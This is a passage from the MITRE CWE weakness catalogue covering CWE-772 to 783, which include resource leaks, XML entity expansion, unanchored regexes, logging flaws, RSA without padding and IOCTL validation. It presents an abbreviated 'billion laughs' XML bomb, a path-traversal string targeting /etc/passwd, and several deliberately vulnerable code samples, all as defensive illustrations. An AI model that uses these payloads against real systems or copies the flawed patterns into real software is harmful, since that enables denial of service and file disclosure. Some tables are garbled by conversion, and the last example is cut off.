CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.



Reference	Description
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion.

## Potential Mitigations

### Requirements

#### Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

### Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

### Operation

#### Architecture and Design

##### Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	1000	688
ChildOf	B	404	Improper Resource Shutdown or Release	1000	699
ChildOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310
ChildOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1318
ChildOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1385
ParentOf	B	401	<i>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</i>	1000	694
ParentOf	V	775	<i>Missing Release of File Descriptor or Handle after Effective Lifetime</i>	1000	1189
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319
CanFollow	B	911	<i>Improper Update of Reference Count</i>	1000	1335

## Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	CON02-CPP	Use lock classes for mutex management



Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP14	Failure to release resource

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
469	HTTP DoS	

### Maintenance Notes

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

## CWE-773: Missing Reference to Active File Descriptor or Handle

**Weakness ID:** 773 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

#### Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

### Likelihood of Exploit

Medium to High

### Potential Mitigations

#### Operation

#### Architecture and Design

#### Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	769	File Descriptor Exhaustion	<b>699</b>	1174
ChildOf	<b>B</b>	771	Missing Reference to Active Allocated Resource	<b>1000</b>	1182
ChildOf	<b>C</b>	982	SFP Secondary Cluster: Failure to Release Resource	<b>888</b>	1385

### Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP14	Failure to release resource

## CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

**Weakness ID:** 774 (*Weakness Variant*) **Status:** Incomplete

### Description

#### Summary

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

#### Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

### Likelihood of Exploit

Medium to High

### Potential Mitigations

#### Operation

#### Architecture and Design

#### Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	769	File Descriptor Exhaustion	<b>699</b>	1174
ChildOf	<b>B</b>	770	Allocation of Resources Without Limits or Throttling	<b>1000</b>	1175
ChildOf	<b>C</b>	985	SFP Secondary Cluster: Unrestricted Consumption	<b>888</b>	1386

### Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This

entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP13	Unrestricted Consumption

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "Resource Limits", Page 574.. 1st Edition. Addison Wesley. 2006.

## CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID: 775 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

#### Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

### Time of Introduction

- Implementation

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

### Likelihood of Exploit

Medium to High

### Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.

### Potential Mitigations

#### Operation

#### Architecture and Design

#### Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Relationships

Nature	Type	ID	Name	ⓧ	Page
ChildOf	ⓐ	769	File Descriptor Exhaustion	699	1174
ChildOf	ⓑ	772	Missing Release of Resource after Effective Lifetime	1000	1183

Nature	Type	ID	Name	V	Page
ChildOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1385

### Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP14	Failure to release resource

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "File Descriptor Leaks", Page 582.. 1st Edition. Addison Wesley. 2006.

## CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID: 776 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

#### Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

### Alternate Terms

#### XEE

XEE is the acronym commonly used for XML Entity Expansion.

#### Billion Laughs Attack

#### XML Bomb

While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

### Time of Introduction

- Implementation
- Operation

### Applicable Platforms

#### Languages

- XML

#### Architectural Paradigms

- Web-based

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.

### Likelihood of Exploit

Low to Medium

### Demonstrative Examples

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers

to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2<sup>1</sup>. Ultimately, we reach entity THIRTYTWO, which will expand to 2<sup>32</sup> characters in length, or 4 GB, probably consuming far more data than expected.

#### XML Example:

Attack

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

#### Observed Examples

Reference	Description
CVE-2003-1564	Parsing library allows XML bomb
CVE-2008-3281	XEE in XML-parsing library.
CVE-2009-1955	XML bomb in web server module
CVE-2011-1755	"Billion laughs" attack in XMPP server daemon.
CVE-2011-3288	XML bomb / XEE in enterprise communication product.

#### Potential Mitigations

##### Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

##### Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	409	Improper Handling of Highly Compressed Data (Data Amplification)	699 1000	708
ChildOf	<b>C</b>	442	Web Problems	699	755
ChildOf	<b>B</b>	674	Uncontrolled Recursion	<b>699</b> <b>1000</b>	1042
CanFollow	<b>B</b>	827	Improper Control of Document Type Definition	1000	1258

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	44	XML Entity Expansion

#### References

Amit Klein. "Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD". 2002-12-16. < <http://www.securityfocus.com/archive/1/303509> >.

Rami Jaamour. "XML security: Preventing XML bombs".

2006-02-22. < [http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92\\_gci1168442,00.html?asrc=SS\\_CLA\\_302%20%20558&psrc=CLT\\_92#](http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&psrc=CLT_92#) >.

Didier Stevens. "Dismantling an XML-Bomb". 2008-09-23. < <http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/> >.

Robert Auger. "XML Entity Expansion". < <http://projects.webappsec.org/XML-Entity-Expansion> >.

Elliotte Rusty Harold. "Tip: Configure SAX parsers for secure processing". 2005-05-27. < <http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html> >.

Bryan Sullivan. "XML Denial of Service Attacks and Defenses". September, 2009. < <http://msdn.microsoft.com/en-us/magazine/ee335713.aspx> >.

Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011-03-11. < <http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html> >.

Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011-03-11. < <http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html> >.

Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011-03-11. < <http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html> >.

## CWE-777: Regular Expression without Anchors

Weakness ID: 777 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

#### Extended Description

When performing tasks such as whitelist validation, data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

#### Time of Introduction

- Implementation

#### Common Consequences

##### Availability

##### Confidentiality

##### Access Control

##### Bypass protection mechanism

An unanchored regular expression in the context of a whitelist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the whitelist was protecting.

#### Likelihood of Exploit

Low to Medium

#### Demonstrative Examples

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

##### PHP Example:

Bad Code

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Attack

```
../../../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

#### Potential Mitigations

##### Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define a whitelist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

#### Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		625	Permissive Regular Expression	699	973
				1000	

## CWE-778: Insufficient Logging

Weakness ID: 778 (Weakness Base)

Status: Draft

### Description

#### Summary

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

#### Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

### Time of Introduction

- Operation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Non-Repudiation

##### Hide activities

If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.

### Likelihood of Exploit

Medium

### Demonstrative Examples

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

#### XML Example:

*Bad Code*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None" />
        ...
      </behavior>
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts. Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

#### XML Example:

*Good Code*

```
<system.serviceModel>
```



```
<behaviors>
<serviceBehaviors>
  <behavior name="NewBehavior">
    <serviceSecurityAudit auditLogLocation="Default"
      suppressAuditFailure="false"
      serviceAuthorizationAuditLevel="SuccessAndFailure"
      messageAuthenticationAuditLevel="SuccessAndFailure" />
    ...
  </behavior>
</serviceBehaviors>
</system.serviceModel>
```

### Observed Examples

Reference	Description
CVE-2003-1566	web server does not log requests for a non-standard request type
CVE-2007-1225	proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection
CVE-2007-3730	default configuration for POP server does not log source IP or username for login attempts
CVE-2008-1203	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected
CVE-2008-4315	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected

### Potential Mitigations

#### Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

#### Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

### Relationships

Nature	Type	ID	Name	W	Page
ChildOf		223	Omission of Security-relevant Information	699	414
ChildOf		254	Security Features	699	452
ChildOf		693	Protection Mechanism Failure	1000	1074

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Accountability", Page 40.. 1st Edition. Addison Wesley. 2006.

## CWE-779: Logging of Excessive Data

Weakness ID: 779 (Weakness Base)

Status: Draft

### Description

#### Summary

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

#### Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

### Time of Introduction

- Operation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

**Availability****DoS: resource consumption (CPU)****DoS: resource consumption (other)**

Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.

**Non-Repudiation****Hide activities**

Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.

**Non-Repudiation****Hide activities**

If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.

**Likelihood of Exploit**

Low to Medium

**Observed Examples**

Reference	Description
CVE-2002-1154	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log
CVE-2007-0421	server records a large amount of data to the server log when it receives malformed headers

**Potential Mitigations****Architecture and Design**

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

**Architecture and Design**

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

**Implementation**

Adjust configurations appropriately when software is transitioned from a debug state to production.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	199	Information Management Errors	699	384
ChildOf	<b>C</b>	254	Security Features	699	452
ChildOf	<b>E</b>	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	<b>699</b> <b>1000</b>	688

**CWE-780: Use of RSA Algorithm without OAEP**

**Weakness ID:** 780 (*Weakness Variant*)

**Status:** Incomplete

**Description****Summary**

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

**Extended Description**

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

**Time of Introduction**

- Architecture and Design
- Implementation

### Common Consequences

#### Access Control

#### Bypass protection mechanism

Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.

### Likelihood of Exploit

Medium

### Demonstrative Examples

The example below attempts to build an RSA cipher.

#### Java Example:

*Bad Code*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

#### Java Example:

*Good Code*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		310	Cryptographic Issues	699	547
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	1000	573

### References

Ronald L. Rivest and Burt Kaliski. "RSA Problem". 2003-12-10. < <http://people.csail.mit.edu/rivest/RivestKaliski-RSAPProblem.pdf> >.

"Optimal Asymmetric Encryption Padding". Wikipedia. 2009-07-08. < [http://en.wikipedia.org/wiki/Optimal\\_Asymmetric\\_Encryption\\_Padding](http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding) >.

### Maintenance Notes

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

# CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code

Weakness ID: 781 (Weakness Variant)

Status: Draft

## Description

### Summary

The software defines an IOCTL that uses METHOD\_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

### Extended Description

When an IOCTL uses the METHOD\_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C (Often)
- C++ (Often)

#### Operating Systems

- Windows XP (Sometimes)
- Windows 2000 (Sometimes)
- Windows Vista (Sometimes)

#### Platform Notes

### Common Consequences

#### Integrity

#### Availability

#### Confidentiality

#### Modify memory

#### Read memory

#### Execute unauthorized code or commands

#### DoS: crash / exit / restart

An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.

### Likelihood of Exploit

Low to Medium

### Observed Examples

Reference	Description
CVE-2006-2373	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code.
CVE-2007-5756	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.
CVE-2008-5724	Personal firewall allows attackers to gain SYSTEM privileges.
CVE-2009-0686	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges.
CVE-2009-0824	DVD software allows attackers to cause a crash.

### Potential Mitigations

#### Implementation

If METHOD\_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD\_NEITHER is being used. See References.





**Architecture and Design**

If possible, avoid using METHOD\_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD\_BUFFERED, METHOD\_IN\_DIRECT, or METHOD\_OUT\_DIRECT.

**Architecture and Design Implementation**

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

**Relationships**

Nature	Type	ID	Name	CV	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>1000</b>	18
ChildOf		465	Pointer Issues	699	782
CanPrecede		822	Untrusted Pointer Dereference	699	1250
CanFollow		782	<i>Exposed IOCTL with Insufficient Access Control</i>	1000	1198

**Research Gaps**

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness.

Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

**References**

Ruben Santamarta. "Exploiting Common Flaws in Drivers". 2007-07-11. < [http://reversemode.com/index.php?option=com\\_content&task=view&id=38&Itemid=1](http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1) >.

Yuriy Bulygin. "Remote and Local Exploitation of Network Drivers". 2007-08-01. < <https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf> >.

Anibal Sacco. "Windows driver vulnerabilities: the METHOD\_NEITHER odyssey". October 2008. < <http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf> >.

Microsoft. "Buffer Descriptions for I/O Control Codes". < <http://msdn.microsoft.com/en-us/library/ms795857.aspx> >.

Microsoft. "Using Neither Buffered Nor Direct I/O". < <http://msdn.microsoft.com/en-us/library/cc264614.aspx> >.

Microsoft. "Securing Device Objects". < <http://msdn.microsoft.com/en-us/library/ms794722.aspx> >.

Piotr Bania. < <http://www.piotrbania.com/all/articles/ewdd.pdf> >.

**CWE-782: Exposed IOCTL with Insufficient Access Control**

Weakness ID: 782 (Weakness Variant)

Status: Draft

**Description****Summary**

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

**Extended Description**

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- C (*Often*)
- C++ (*Often*)

**Operating Systems**

- UNIX-based
- Windows-based

**Platform Notes****Common Consequences****Integrity****Availability****Confidentiality**

Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.

**Likelihood of Exploit**

Low to Medium





**Observed Examples**

Reference	Description
CVE-1999-0728	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL.
CVE-2006-4926	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL.
CVE-2007-1400	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl.
CVE-2007-4277	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL.
CVE-2008-0322	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten.
CVE-2008-3525	ioctl does not check for a required capability before processing certain requests.
CVE-2008-3831	Device driver does not restrict ioctl calls to its master.
CVE-2009-2208	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings.

**Potential Mitigations****Architecture and Design**

In Windows environments, use proper access control for the associated device or device namespace. See References.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		284	Improper Access Control	699	499
ChildOf		749	Exposed Dangerous Method or Function	<b>699</b> <b>1000</b>	1138
CanPrecede		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1000	1197

**Relationship Notes**

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD\_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

**References**

Microsoft. "Securing Device Objects". < <http://msdn.microsoft.com/en-us/library/ms794722.aspx> >.

## CWE-783: Operator Precedence Logic Error

Weakness ID: 783 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program uses an expression in which operator precedence causes incorrect logic to be used.

#### Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

### Applicable Platforms

#### Languages

- C (Rarely)
- C++ (Rarely)
- Any (Rarely)

### Modes of Introduction

Logic errors related to operator precedence may cause problems even during normal operation, so they are probably discovered quickly during the testing phase. If testing is incomplete or there is a strong reliance on manual review of the code, then these errors may not be discovered before the software is deployed.

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Varies by context

#### Unexpected state

The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.

### Likelihood of Exploit

Low

### Demonstrative Examples

#### Example 1:

In the following example, the method `validateUser` makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

#### C Example:

*Bad Code*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
    }
    return isUser;
}
```

However, the method that authenticates the username and password is called within an `if` statement with incorrect operator precedence logic. Because the comparison operator `"=="` has a higher precedence than the assignment operator `"="`, the comparison operator will be evaluated first and if the method returns `FAIL` then the comparison will be true, the return variable will be set to true and `SUCCESS` will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the `if` statement, as shown below.



